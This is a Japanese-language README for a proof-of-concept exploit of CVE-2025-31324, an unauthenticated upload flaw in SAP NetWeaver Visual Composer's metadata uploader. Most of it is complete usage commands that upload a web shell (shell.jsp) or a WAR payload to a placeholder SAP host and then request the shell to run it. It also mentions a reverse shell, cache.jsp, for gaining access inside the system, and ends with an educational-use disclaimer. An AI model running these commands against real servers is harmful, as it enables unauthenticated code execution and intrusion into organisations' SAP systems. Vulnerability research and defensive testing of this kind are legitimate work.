CVE-2025-31324_PoC

CVE-2025-31324 の概念実証: SAP NetWeaver Visual Composer Metadata Uploader における未認証アップロード

このスクリプトは以下を実行します:

1. 脆弱なエンドポイントへのファイルアップロード (Upload ホスト/ポート経由)
2. HTTP GET によるオプションのトリガー実行 (Trigger ホスト/ポート経由)
3. 基本的なレスポンス検証/ロギング

使用例: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

.war ファイルで実行したい場合は、そのアップロードも可能です。cache.jsp はリバースシェルで、システム内部に入るとアクセス権を取得できます。(まだ問題を修正中です)

免責事項

これは教育目的のみを意図しており、悪意のある活動に使用すべきではありません。セキュリティの脆弱性をテストまたは調査する際は、必ず必要な許可を得て、倫理的なガイドラインに従ってください。

ご質問やご不明な点がございましたら、お気軽にお問い合わせください。安全とセキュリティを確保しましょう。